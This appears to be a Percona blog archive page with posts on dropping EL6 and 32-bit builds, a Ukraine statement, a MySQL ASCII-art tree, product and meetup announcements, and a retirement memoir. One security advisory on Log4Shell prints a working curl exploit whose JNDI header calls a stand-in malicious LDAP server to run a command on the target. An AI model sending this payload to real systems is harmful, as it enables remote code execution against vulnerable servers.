May
10
2022
--

Spring Cleaning: Discontinuing RHEL 6/CentOS 6 (glibc 2.12) and 32-bit Binary Builds of Percona Software

Discontinuing RHEL 6/CentOS 6

Discontinuing RHEL 6/CentOS 6As you are probably aware, Red Hat Enterprise Linux 6 (RHEL 6 or EL 6 in short) officially reached “End of Life” (EOL) on 2020-11-30 and is now in the so-called Extended Life Phase, which basically means that Red Hat will no longer provide bug fixes or security fixes.

Even though EL 6 and its compatible derivatives like CentOS 6 had reached EOL some time ago already, we continued providing binary builds for selected MySQL-related products for this platform.

However, this became increasingly difficult, as the MySQL code base continued to evolve and now depends on tools and functionality that are no longer provided by the operating system out of the box. This meant we already had to perform several modifications in order to prepare binary builds for this platform, e.g. installing custom compiler versions or newer versions of various system libraries.

As of MySQL 8.0.26, Oracle announced that they deprecated the TLSv1 and TLSv1.1 connection protocols and plan to remove these in a future MySQL version in favor of the more secure TLSv1.2 and TLSv1.3 protocols. TLSv1.3 requires that both the MySQL server and the client application be compiled with OpenSSL 1.1.1 or higher. This version of OpenSSL is not available in binary package format on EL 6 anymore, and manually rebuilding it turned out to be a “yak shaving exercise” due to the countless dependencies.

Our build & release team was able to update the build environments on all of our supported platforms (EL 7, EL 8, supported Debian and Ubuntu versions) for this new requirement. However, we have not been successful in getting all the required components and their dependencies to build on EL 6, as it would have required rebuilding quite a significant amount of core OS packages and libraries to achieve this.

Moreover, switching to this new OpenSSL version would have also required us to include some additional shared libraries in our packages to satisfy the runtime dependencies, adding more complexity and potential security issues.

In general, we believe that running a production system on an OS that is no longer actively supported by a vendor is not a recommended best practice from a security perspective, and we do not want to encourage such practices.

Because of these reasons and to simplify our build/release and QA processes, we decided to drop support for EL 6 for all products now. Percona Server for MySQL 8.0.27 was the last version for which we built binaries for EL 6 against the previous version of OpenSSL.

Going forward, the following products will no longer be built and released on this platform:

  • Percona Server for MySQL 5.7 and 8.0
  • Percona XtraDB Cluster 5.7
  • Percona XtraBackup 2.4 and 8.0
  • Percona Toolkit 3.2

This includes stopping both building RPM packages for EL 6 and providing binary tarballs that are linked against glibc 2.12.

Note that this OS platform was also the last one on which we still provided 32-bit binaries.

Most of the Enterprise Linux distributions have stopped providing 32-bit versions of their operating systems quite some time ago already. As an example, Red Hat Enterprise Linux 7 (released in June 2014) was the first release to no longer support installing directly on 32-bit Intel/AMD hardware (i686/x86). Already back in 2018, we had taken the decision that we will no longer be offering 32-bit binaries on new platforms or new major releases of our software.

Given today’s database workloads, we also think that 32-bit systems are simply not adequate anymore, and we already stopped building newer versions of our software for this architecture.

The demand for 32-bit downloads has also been declining steadily. A recent analysis of our download statistics revealed that only 2.3% of our total binary downloads are referring to i386 binaries. Looking at IP addresses, these downloads originated from 0.4% of the total range of addresses.

This change affects the following products:

  • Percona Server for MySQL 5.7
  • Percona XtraDB Cluster 5.7
  • Percona XtraBackup 2.4
  • Percona Toolkit

We’ve updated the Percona Release Lifecycle Overview web page accordingly to reflect this change. Previously released binaries for these platforms and architectures will of course remain accessible from our repositories.

If you’re still running EL 6 or a 32-bit database or OS, we strongly recommend upgrading to a more modern platform. Our Percona Services team would be happy to help you with that!

Mar
09
2022
--

Percona’s Stance on Ukraine

It both saddens and angers me that I need to write this post. Percona supports the people of Ukraine and condemns the invasion of Ukraine by the Russian Federation regime. The needless loss of life, destruction of property, and displacement of millions of people, as well as separation of families, is horrifying and simply wrong. As a result, we are stopping doing new business with organizations in Russia and Belarus until further notice.

Some actions we have taken to support our staff are the following.

  • We have secured housing in what is currently a safe portion of Ukraine.
  • We have established a fund to support families with basic living essentials and help in getting out of harm’s way.
  • We are working to provide support for all our staff negatively impacted by this war — Russian and Ukrainian alike.
  • We are providing job security for those in Ukraine that have volunteered for or been called into military service.

Each day brings additional challenges and new realities. As a company, we continue to live up to and exceed the expectations of our customers and users while taking care of our impacted staff who are dealing with a humanitarian crisis. This is in alignment with our co-founders’ values. While both are US citizens, Peter Zaitsev was born and raised in Russia and Vadim Tkachenko was born and raised in Ukraine. They remain aligned and supportive of each other.

In this time of extreme uncertainty, one constant is the strength of the human spirit. The courage, bravery, and determination of so many within Percona and the world is inspirational.

To all, stay safe and be kind to one another.

Dec
31
2021
--

Percona Support Team New Year Greetings!

Happy New Year from Percona Support

In Percona Support we spend a few hours per week doing Labs: short collective projects, not directly related to the tickets.
One of our last labs was about to get ready for the winter holiday season which means preparing the tree and decorating it. To do it we used our favorite tools: MySQL, and ASCII art (https://en.wikipedia.org/wiki/ASCII_art). As a result, we created a function that prints into the terminal a New Year Tree (https://en.wikipedia.org/wiki/New_Year_tree) and decorates it with symbols we want.
For example, to create a three-level tree, decorated with starts, call the function as follow:

$ mysql ny_tree -e "select ny_tree(3, '*')" --vertical --skip-column-names -s
*************************** 1. row ***************************

   /\
  /__\
  /* \
 /____\
 /  * \
/______\
   ||

Since MySQL supports Unicode you can use any symbol, having it has the same width as the space symbol. For example, you can decorate your tree with wax candles without any risk of firing up your home:
$ mysql ny_tree -e "select ny_tree(4, '?')" --vertical --skip-column-names -s
*************************** 1. row ***************************

    /\
   /__\
   /? \
  /____\
  /?  ?\
 /______\
 /?? ?  \
/________\
    ||
You can change your terminal colors to those that look more celebrating, align the size of the terminal with the number of levels in the tree, and call the function in a loop to have an animated picture.
For example, animation at the beginning of this post was created by a few calls like:
$ for i in `seq 1 1 1000`; do mysql ny_tree -e "select '\\nHappy New 2022 Year\!', ny_tree(12, '?')" --vertical --skip-column-names -s; sleep 1; done
I only adjusted the number of levels for each terminal size.
Code for the

ny_tree

  and two helper functions is located at https://github.com/Percona-Lab/ny-tree

We, Percona Support Team, wish you Happy Holidays and Happy New Year without serious database issues!
Dec
14
2021
--

Log4JShell Vulnerability Update

Log4JShell Vulnerability Update

Log4JShell Vulnerability UpdatePercona Security has been tracking an evolving issue over the weekend and into the beginning of this week.

The Log4J vulnerability, also sometimes referred to as Log4JShell, can be exploited to allow for the complete takeover of the target to run any arbitrary code.

This affects versions of log4j 2.0-beta9 through 2.14.1 – the current advisory is to update to the fixed release version 2.15.0 or greater.

The Exploit

The most simplistic example being:  

curl https://target.domain.tld -H 'X-Api-Version: ${jndi:ldap://malicious_server/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' -o/dev/null -v

when executed this runs touch /tmp/pwned on the target system.

There are many such examples being tracked at the time of writing which seeks to either exploit the issue or at the very least confirm the presence of the issue.

Is any Percona Software or Service Affected by this Vulnerability?

At the time of writing, no Percona software is known to be affected by the CVE-2021-44228 log4j vulnerability as we do not employ Java in any of the Open Source Software produced here at Percona at this time.

We are of course working with our service vendors and third parties to ensure they too are not affected by this issue and are tracking their response internally via JIRA ticket at the time of writing. Percona is not aware of any of our service providers impacted by the log4j vulnerability at the time of writing.

Where possible, we are employing methods to increase visibility, and protection against this issue regardless of the underlying software not being affected to apply additional layers of protection.

We have validated that the software we are using in our build pipelines is not affected by this issue at the time of writing.

Please refer to the details on https://www.percona.com/security regarding the appropriate channels of contact, should you wish to raise a direct contact request regarding this or another issue.

UPDATE 2021-12-15:

The fix implemented in 2.15 of log4j has been reported as an “incomplete” fix; the new CVE to track this issue is CVE-2021-45046, as such log4j currently requires updating to >= 2.16 to fully protect against these issues, whilst this latest issue is reported as moderate (not high) severity (likely due to the complexity of the exploitation vector), our advice at this time is to ensure update to address this also at this time.

Percona continues to track this major issue and take appropriate action to safeguard our clients and users.

We are working on enhancing defences and active scanning and reporting for indicators of the log4j issues, at this stage, regardless of not having been affected directly by this issue at this point in time, we wish to safeguard against this in the future by taking appropriate measures to safeguard against this.

Our teams are working diligently on this issue, and we expect to publish further updates as this issue continues to unfold and further detail becomes available through our testing and through the publication of information.

David Busby
Information Security Architect

Dec
08
2021
--

A New Way to Experience Databases — The Percona Platform

The Percona Platform

The Percona PlatformWe are thrilled to announce the Percona Platform, which brings together database distributions, support expertise, services, management, and automated insights into a single product. Building on our expertise with databases including MySQL, PostgreSQL, and MongoDB, the new Percona Platform will simplify how you can monitor, manage, and optimize your database instances across any infrastructure. In addition, the Percona Platform will enable you to run your own private Database-as-a-Service (DBaaS) instances.

Addressing Your Biggest Database Problems

We’re always listening and with the Percona Platform, we aim to address three of the biggest challenges database administrators have according to our last research report. The three are standardization, performance, and availability.  In fact, 59% of respondents lost sleep at night due to concerns around downtime and availability. Let’s be honest, there’s not much worse than losing sleep.

biggest Database Problems

Developers just want things to work, and they want self-service support so they can iterate faster with fewer cross-team handoffs. Database administrators want help to manage multiple database instances in a consistent approach, so they can deliver a highly available and performant database platform for their development teams as well as their customers. With this release, we are taking the first steps towards meeting these requirements.

Announcing the Percona Platform

Percona Platform is our response, bringing together everything that developers and DBAs need to implement environments quickly, with less effort and complexity. This launch will help developers create their applications faster while building upon a strong foundation provided by their database team.

This launch will preview the Percona Platform, allowing you to unify the entire database experience from packages and backup to monitoring and management, with general availability in early 2022. Percona brings together distributions of MySQL, PostgreSQL, and MongoDB including a range of open source tools for data backup, availability, and management. It also includes Percona Monitoring and Management (PMM) for database management, monitoring, and automated insights, making it easier to manage database deployments. The Percona Platform preview will have no up-front commitments or fees to use.

Percona Platform will cover all deployment configurations, from internal data center deployments through to public, private, and hybrid cloud instances. At general availability, the platform will also cover self-managed and Percona-managed instances, allowing you the ultimate flexibility to run things the way that best suits your environment, level of confidence, and operating models.

What’s in the Percona Platform?

The Preview will include:

  • Percona Portal — provides access to all Percona services and product expertise in one placePercona Platform
  • Percona Account — simplifies user account management for all Percona products and services
  • Private DBaaS — enables you to easily provision and manage databases on a self-service basis across development and testing instancesPercona Private DBaaS
  • Advisors — automated insights to ensure your database is performing at its bestPercona Advisors

The platform is available as a preview, and you can get started at percona.com/platform-preview. Try it out today!

Nov
10
2021
--

Community Meetup Schedule Till the End of the Year

percona community meetups

percona community meetupsThis fall we started to run live-streamed online meetups accompanied by a live chat with the audience. Every week we invite experts for a real-time talk and devote this meeting to a specific database.

But the holiday season is coming soon! So, we slightly changed the meetup schedule and would like to announce it. Here are the dates of the upcoming events:

  1. November 17th – Meetup for PostgreSQL
  2. December 1st – Meetup for Percona Monitoring and Management (live stream from AWS re:Invent)
  3. December 8th – Meetup for MySQL
  4. December 15th – Meetup for PostgreSQL
  5. December 29th – Meetup for MongoDB

What do meetups look like? On Wednesday we gather in a virtual studio at 11 am EST/ 5 pm CEST and start streaming on YouTube and Twitch. Each event is dedicated to one open source database or technology. Experts share their knowledge with you and answer questions that you can ask on chat or on Discord. It is that simple, just come and join us!

Community Meetups Percona

Our next meetup will take place on November 17th. We will discuss autovacuum in PostgreSQL with Lead Senior Support Engineer Sergey Kuzmichev. Check out the event details on our Community website. You will learn more about autovacuum and get answers to your questions live. The Percona expert could even advise you on your particular issue during the live stream.

Normally guest speakers prepare some topics for discussion but things do not always go according to plan, and since it is a live stream, your question or suggestion to our amazing host Matt Yonkovit can change the direction of conversation dynamically.

The current meetup agenda for November 17th:

  • 1. Why do we need the autovacuum at all?
  • 2. How to stop worrying and start to love the autovacuum?
  • 3. Monitoring for related issues.

Percona MeetUp for PostgreSQL November 2021 - Autovacuum

Also, we have already run nine meetups and if you missed them, you can find their recordings here:

All the recordings, their transcripts, and also publications about future meetups are available on our Community website: https://percona.community/events/percona-meetups/.

Come and talk about open source with us! If you feel inspired to participate in meetups not only as a listener but as a speaker, we would love to see you. Just contact us at community-team@percona.com to discuss your involvement.

Percona Open Source Community Meetups

Oct
14
2021
--

Percona Is a Finalist for Best Use of Open Source Technologies in 2021!

Percona Finalist Open Source

Percona has been named a finalist in the Computing Technology Product Awards for Best Use of Open Source Technologies. If you’re a customer, partner, or just a fan of Percona and what we stand for, we’d love your vote.

With Great Power…

You know the phrase. We’re leaving it to you and your peers in the tech world to push us to the top.

Computing’s Technology Product Awards are open to a public vote until October 29. Vote Here!

percona Best Use of Open Source Technologies

Thank you for supporting excellence in the open source database industry. We look forward to the awards ceremony on Friday, November 26, 2021.

Why We’re an Open Source Finalist

A contributing factor to our success has been Percona Monitoring and Management (PMM), an open source database monitoring solution. It helps you reduce complexity, optimize performance, and improve the security of your business-critical MySQL, MongoDB, PostgreSQL, and MariaDB database environments, no matter where they are located or deployed. It’s impressing customers, and even competitors, in the industry.

If you want to see how Percona became a finalist, learn more about Percona Monitoring and Management, and be sure to follow @Percona on all platforms.

Vote Today!

Oct
06
2021
--

Reminder: TokuDB Storage Engine Will Be Disabled by Default in Percona Server for MySQL 8.0.26

TokuDB Disabled in Percona Server for MySQL

TokuDB Disabled in Percona Server for MySQLAs we’ve communicated in our blog post in May, the TokuDB Storage Engine has been marked as “deprecated” in Percona Server for MySQL 8.0. It will be removed in a future version (Percona Server for MySQL 8.0.28, expected to ship in Q1 2022).

With the release of Percona Server for MySQL 8.0.26, the storage engine will still be included in the binary builds and packages but will be disabled by default. If you are upgrading from a previous version, the TokuDB Storage Engine plugin will fail with an error message at server startup if it is installed.

You will still be able to re-enable it manually so that you can perform the necessary migration steps.

Re-enabling the TokuDB Engine in Percona Server for MySQL 8.0.26 is fairly straightforward. You need to add the options

tokudb_enabled=TRUE

and

tokudb_backup_enabled=TRUE

options to your my.cnf file and restart your server instance.

Once the server is up and running again, you can migrate your data to an alternative storage engine like RocksDB or InnoDB before disabling and removing TokuDB. See the chapter Removing the TokuDB storage engine in our documentation for details.

Let us know if you have any questions or comments about this process!

If you need any assistance with migrating your data or have any questions or concerns about this, don’t hesitate to reach out to us – our experts are here to help!

Complete the 2021 Percona Open Source Data Management Software Survey

Have Your Say!

Oct
01
2021
--

Lessons From Peter Zaitsev…

Tom Basil Peter Zaitsev Percona

Tom Basil Peter Zaitsev PerconaPeter Zaitsev, known to all as Percona’s founder and CEO, asked me to pen a few reminisces as I retire.  How do I sum up 22 years in the MySQL world?  How do I even begin?  I best start with gratitude. I’ve had the amazing privilege of being on the inside of the leadership teams of two highly impactful software startups, MySQL and Percona.

I now find myself as Percona’s first-ever retiree.  So I write as PZ requested of me, with the caveat that these reflections are wholly my own.  They do not necessarily reflect Percona policy or even Percona’s current conditions, as I’ve been less in the front lines in recent times.

Tom, Monty Widenius (MySQL Founder), Heikki Turri (InnoDB Creator), & Peter, at the 2nd ever MySQL User Conference, 2004

Tom, Monty Widenius (MySQL Founder), Heikki Turri (InnoDB Creator), & Peter, at the 2nd ever MySQL User Conference, 2004

I became a MySQL DBA in late 1999.  My then-boss in Maryland agreed to buy the highest tier support offered by the fledgling MySQL company in Finland.  A $12,000 annual payment got you the personal telephone numbers of everyone in the company, then maybe a half dozen persons, and quick answers to your emails often direct from company founder Monty Widenius.  The passionate intensity of MySQL support was unlike anything I’d ever experienced.  I loved it, while the speed and simplicity of MySQL delighted me.

Monty Widenius and co-founder David Axmark pioneered the now-familiar pattern of open source software employment – no in-person job interviews, work at home from anywhere via the internet, then fly all over the world for meetings and conferences.  But when Monty invited me to join MySQL Ab in 2001, this was still pretty weird stuff, at least in the USA.  My wife was incredulous that I’d take a job from some guy in Finland whom I’d never met and who gave away his software for free.  As I once wrote in 2007:

I had a much better Oracle DBA offer from a large bank, and six kids (ages 2 to 13) plus my wife at home.  To her the bank was a sure bet and a virtual boss in Finland an absurd risk.  But MySQL struck me as an exciting company that kept its promises.  What to do?  I asked a trusted (Catholic) priest for his opinion.  He surprised me and voted for MySQL.  I borrowed a bedroom from the kids as my office and joined MySQL as employee #11.

Monty, Vadim, & Peter share dinner, 2008

Monty, Vadim, & Peter Share Dinner, 2008

Monty appointed me Director of Support.  This ultimately grew to be a team of 60 high-end experts.  This was another of Monty’s innovations – technical support was not an entry-level role but a senior-level one, a prestigious career destination for top experts.

Twenty years seems not that long ago.  Yet so much that’s considered ordinary now wasn’t then.  Neighbors assumed I was really unemployed until I started to travel to Europe pretty regularly.  Everything inside MySQL was transacted by email.  No Zoom, no Slack, no Confluence, nor any other of today’s common tools were then known.  Maybe within a year of my joining MySQL, we began using Internet Relay Chat, or IRC.  Having real-time chat among a global team was breakthrough technology.  Yet, the IRC command line was too geeky for admin staff, so it never became a company-wide tool.

Another novelty though now commonplace, was a 100% global workforce.  I had been in my mid-30s when the Cold War ended in 1991.  Throughout my formative years, Russians, Ukrainians, Estonians, Bulgarians, and Serbs lived trapped behind the Iron Curtain, far distant from ordinary Americans like me.  Now they had become my daily co-workers and personal friends.  For me, it was another bit of cultural whiplash of the MySQL era.

MySQL experts were then extremely scarce.   In 2002 Monty called me excitedly.  A Russian MySQL prodigy had just accepted his job offer.  His name was Peter Zaitsev, and Monty wanted me to be his manager.  That year the entire MySQL company fit into one bus and rode from Helsinki to St. Petersburg to meet our new Russian colleagues.  Peter looked to me like a teenager.  In reality, he was age 20, married with one child, had a Master’s Degree in Computer Science, and was already a serial entrepreneur. He’d built his Russian startup Spylog around InnoDB, making himself one of the world’s first experts on this now ubiquitous storage engine.

Peter & Monty at the MySQL User Conference, 2008

Peter & Monty at the MySQL User Conference, 2008

I created the “High-Performance Group” within MySQL Support as a home for Peter to run.  He was in demand all over the globe to troubleshoot difficult MySQL cases.  He badly needed a deputy, and this is how Vadim Tkachenko entered my life.  It also became the first of many business lessons I would learn from Peter.  Peter is young enough to be my son.  But regarding entrepreneurship, it has been the reverse, Peter the father teaching me the son.

One lesson personified in Vadim was how demanding Peter was in his hiring standards.  He disqualified many applicants who struck me as very well qualified.  Peter painstakingly probed and tested Vadim’s coding expertise.  But the fruit of that care has shown in their long partnership and the technical excellence that Percona is known for.  More troubling is that when I approved Vadim’s hiring, I had no warning of his wry sense of humor or that I would ever become its victim.  How often I have paid for this oversight in the ensuing years.

In 2006 Peter and Vadim left MySQL to launch Percona and invited me to join them.  MySQL had by now become well established, with 400+ staff and strong VC backing.  Peter had only Vadim and a good reputation, but no money.  Peter argued loudly with me – he is known for this – that Percona would become the future of MySQL.  Peter said trends were shifting in his favor, and if I had any sense, I’d see it and get onboard.

I was then comfortable and established in MySQL Ab.  I saw no need at age 53 to risk everything (again) on a two-person startup.  But in 2008, Sun acquired MySQL for $1 billion. Sun’s culture was big corporate America and so unlike the freewheeling Scandinavian culture of MySQL.  And being the CEO’s friend at a tiny startup seemed a better place to live than the anonymous middle tiers of a downsizing megafirm.

So I quit Sun and became Percona’s first COO, a title I held for seven years.  Later, Peter named me Percona’s Chief of Staff, a role I held until my retirement.  In total, I was Peter’s boss for four years, and then he was my boss for 13 years.  Vadim went from my second-level report to being my second boss. The arrangements of fate are indeed curious.

So what have I witnessed at Percona, and what have I learned from it all?  

Foremost is that in a certain sense, Percona is a web of friendship. It’s a nexus of skilled people who cooperate, communicate, help, and labor hard as friends around a common endeavor.  Seeing Percona as a family is an exaggeration, but seeing it as a community of highly interdependent friends is not.  The enjoyment of friendships I’ve seen among staff, especially at conferences and meetings, has been deep and real.

Tom jumps off a cliff with Percona colleagues in Cancun, 2011

Tom jumps off a cliff with Percona colleagues in Cancun, 2011

My memories of Percona include events in California, Texas, New York, North Carolina, Quebec, Mexico, the Dominican Republic, Ireland, the United Kingdom, the Netherlands, Portugal, Switzerland, Estonia, Ukraine, Croatia, and Montenegro.  These remain precious memories, and I’m certain I’m not alone in this.  The relationships nurtured in these events build up reservoirs of trust and goodwill.  This is what oils the progress made during the long months of working in isolation from home.

Percona also welcomed families to most Percona events.  My wife and I shared seven trips with Percona to attractive locales.  She made Percona friends of her own with whom she’d enjoy reunions.  Kids came too, a few times.  We also hosted Percona guests in our home.

Vadim with Tom & his wife Kathleen at their home in Maryland, 2007.

Vadim with Tom & his wife Kathleen at their home in Maryland, 2007.

Consciously making Percona a family affair was another of Peter’s ideas and a very good one for business.  That my family’s welfare was directly tied to Percona’s success was understood by each of us.  When I had to upend our schedule for the Percona crisis du jour, family complaints were few.  My wife and children’s connectedness with Percona also made working remotely less isolating for me.

I think the interruption of professional friendships has been the worst consequence of the Covid pandemic for Percona.  Friendships can be built online too, but it’s much harder when done among those who’ve never once met. There’s something about relating in person that’s unique.  The virtual world can imitate but not replace it.

When friends are dealing with friends, all problems get resolved without managerial escalation or bureaucratic morass.  All sorts of improvements get implemented with minimal friction.  Peter usually fosters debate and invites dissenting opinions, as did Monty and MySQL CEO Marten Mickos before him.  Yet honest debate and credible decisions require trust.  And trust is best fostered within an atmosphere of authentic friendships.

This dynamic was at play inside MySQL Ab, and I think a big factor in powering MySQL to prominence.  Percona, at its best, has continued with this and many other MySQL traditions.  For instance, Percona’s monthly All Company Zoom calls are where the entire staff is trusted with batches of corporate metrics, both good and bad, and staff can directly question the CEO.

Yet friendship is not indulgence.  Another PZ business lesson I’ve imbibed is that deserved firing is an act of friendship towards the company as a whole.  I didn’t fully grasp this pre-Percona.  Not everyone makes a worthy friend, and some need to depart before they drag down the whole.  Friendship is also not indiscreet.  Transparency has proper limits, and some things cannot be explained or even acknowledged.

Another PZ lesson is that what (or who) got you here isn’t what will get you where you need to go.  At a certain point, Percona outgrew me as COO.  I had the work ethic but not the skills or experience for Percona’s larger corporate stage.  Peter helpfully explained this to me at one of our less agreeable meetings.  Needful directness is another of his business attributes.

A few years ago, a high-priced consultant flattered our Executive Team by explaining that only 0.4% of all startups reach Percona’s age and size.  That means 99.6% of startups don’t survive at all or end up far smaller than Percona if they endure.

The absolute necessity of constant adaptation to a swirl of change became another lesson.  I saw in Peter a constant lookout for what’s the next opportunity, the next danger, the process to strengthen, etcetera.  My temperament favors stability and predictability, but I learned its limits in a competitive marketplace.

Seizing an unexpected opportunity was part of this lesson. It’s the lesson of taking action now when an opportunity appears, not when it’s convenient. It’s hard to believe, but Percona software wasn’t, at first, part of any grand master plan.  Percona did consulting, period.  But MySQL Ab had let InnoDB development languish for tangled reasons.  Desperate for a workaround, some experts inside MySQL privately asked us to release all of the InnoDB performance patches Percona had accumulated.

These patches were at first bundled as XtraDB, a drop-in replacement for the InnoDB engine.  Later this grew into the Percona Server for MySQL, a drop-in replacement for MySQL.  Ultimately it grew into a full-fledged engineering team with Percona versions of MySQL, MongoDB, and PostgreSQL, plus the Percona Monitoring and Management (PMM) dashboard.  But in a certain sense, Percona’s entire future sprung from seizing one unexpected and seemingly small opportunity.

Peter awards Tom a Percona University PhD!

Peter awards Tom a Percona University Ph.D.!

What does the CEO’s life consist of?  What I witnessed includes –  Endless meetings.  Upset customers.  Aggressive competitors.  Flaming disagreements.  Sudden resignations.  Regulatory swamps.  No money for payroll.  Paying others but not yourself.  Failing products.  Whispering critics.  Continual interruptions.

Crisis after crisis gets lobbed at the CEO, often several at once.   It takes guts just to persevere and to improvise when no visible solution exists.  I recall an early Executive Team meeting that Peter ran for sixteen straight hours trying to deal with everything; then he reconvened us for more of the same after a few hours of sleep.

I hope Peter and Vadim get rich.  Guts should have its reward.  I might not have thought this pre-Percona.  But life in its trenches convinced me.  Expert tech opinion bet heavily against Percona early on.  Voices said there’s no profit in consulting, you’re too niche to survive, VC money is your only hope, and similar refrains.  It takes some guts to stand alone and not cave into the doubters, especially when there’s a faction on your own leadership team chanting “give up now.” Simply surviving is underappreciated for the victory it represents.

How do you explain business risk to those who’ve never lived it?  What does it feel like to have hundreds of families depend on your payroll?  How do you cope knowing that other people pay hard for your own mistakes?  Percona once misjudged and had to quickly lay off 20 people.  It was painful not only for them, since Peter as CEO bore conspicuous responsibility.

I, too, dreamed of VC money as easier than the painful austerity of a bootstrap.  Peter was a fanatic about keeping Percona independent.  Only gradually did I see how Percona’s freedom from VC interference was paying off.  A near-term VC exit strategy looks very different from a lifetime venture strategy.  Perhaps VC oversight would have given Percona more discipline and consistency inside or had other benefits.  But I doubt it would have been worth it.

My career ended as it began.  My boss told me he’d hired a Russian prodigy and asked me to become his manager.  The boss this time was Peter, and the employee was Daniil Bazhenov.  Daniil barely spoke English, but Peter assured me he was a quick learner and that we’d find a way.  We did, along with some amusement.  In another bit of cultural whiplash, Daniil’s worked for me from Ulyanovsk, Lenin’s hometown.

Tom & Daniil on the beach in Punta Cana, 2020

Tom & Daniil on the beach in Punta Cana, 2020

I could ramble on and on.  But I close my blog and professional life with images of so many wonderful people, which flood my mind.

I think of Monty, who opened the door for my MySQL future, and of my wife Kathleen, who trusted me to walk through it.  I think of those very first MySQL employees, Sinisa Milivojevic, Jani Tolonen, Tim Smith, Matt Wagner, Jeremey Cole, and Indrek Siitan, who first wooed me with MySQL’s beauty and excellence.

I think of the MySQL Support Team leaders to whom I owe so much:  Dean Ellis, Salle Kermidarski, Lachlan Mulcahay, Bryan Alsdorf, and Miguel Solorzano.  Joined with them are Mark Leith, Tonci Grgin, Hartmut Holtzgraffe, Victoria Reznichenko, Todd Farmer, Geert Vanderkelen, Domas Mituzas, Harrison Fisk, Hartmut Holzgraefe, Kolbe Kegel, Matt Lord, Shawn Green, Ligaya Isler-Turmelle, and many others to whom I owe a great debt, including Ulf Sandberg, my boss.

Finally, from my MySQL years, I think of David Axmark, Marten Mickos, Kaj Arno, Zack Urlocker, Edwin Desouza, Brian Aker, Boel Larsen, and other key players who, with Monty, navigated MySQL to stunning success. Please forgive me if the fading of time means I’ve omitted a name I should never forget.

And of my Percona years, how can I begin to name with gratitude everyone I ought with whom my Percona life has intersected.  I can only say thank you and again ask forgiveness for any omissions.

First, I think of those who were part of my teams over the years or whom I helped recruit:  Mark Sexton, RIP.  Svetlana Prozhogin.  Kortney Runyan.  Natalie Kesler.  Andrey Maksimov.  Agustin Gallego.  Colin Charles.  Drew Sieman.  Lorraine Pocklington.  Daniil Bazhenov.  Laura Byrnes.  Aleksandra Abramova.  Fredel Mamindra.  Jana Carmack.

I think of those Percona experts with whom I had the chance to closely interact at different times:  Michal Coburn. George Lorch.  Alexander Rubin.  Ovais Tariq.  Marcos Albe.  Alkin Tezuysal.  Marco Tusa.  Liz van Dijk.  Kenny Gryp.  Dimitry Vanoverbeke.  Przemek Malkowski.  Lenz Grimmer.  Ibrar Ahmed.  Tate McDaniel.  Yves Trudeau.  Yura Surokin.  Mykola Marhazan.

I think of those EMT colleagues with whom I shared so many long meetings:  Baron Schwartz.  Bill Schuler.  Ann Schlemmer.  John Breitenfeld.  Matt Yonkovit.  Sam Duffort.  Bennie Grant.  Jim Doherty.  Plus Keith Moulsdale of Whiteford, Taylor, Preston, Percona’s expert legal counsel for many years.

I think of those who’ve moved on but remained friends of Percona:  Peter Farkas.  Ignacio Nin.  Bill Karwin.  Aurimas Mikalauskas.  Sasha Pachev.  Raghu Prabhu.  Peter Schwaller.  Roel van de Paar.  Evgeniy Stepchenko.  Morgan Tocker.  Brian Walters.  Ewen Fortune.  Ryan Lowe.

Tom thanks Vadim for his gift of retirement guidance!

Tom thanks Vadim for his gift of retirement guidance!

And Vadim Tkachenko, how could I almost forget you?!

And Peter Zaitsev.  I am so glad we met.

Sep
01
2021
--

Congratulating Marcelo Altmann on his Promotion to Oracle ACE!

Marcelo Altmann promotion to Oracle ACE

Marcelo Altmann promotion to Oracle ACEWe’re excited to share that Marcelo Altmann from the Percona Server Engineering Team has just been promoted from Oracle ACE Associate to Oracle ACE.

Congratulations!

The Oracle ACE Program recognizes and rewards community members for their technical contributions to the Oracle community.

Marcelo initially joined Percona as a senior support engineer in our global services organization, where he helped customers with running their MySQL-based environments. In early 2020, he joined our Server Engineering team and has been actively involved in the development of Percona Server for MySQL and Percona XtraBackup since then.

Marcelo’s contributions to the MySQL ecosystem are countless – he’s an active blogger, he regularly submits bug reports to the MySQL team, organizes local and virtual meetups, and also contributes patches and bug fixes.

Congratulations again, Marcelo, we’re proud to have you on our team!

Powered by WordPress | Theme: Aeros 2.0 by TheBuckmaker.com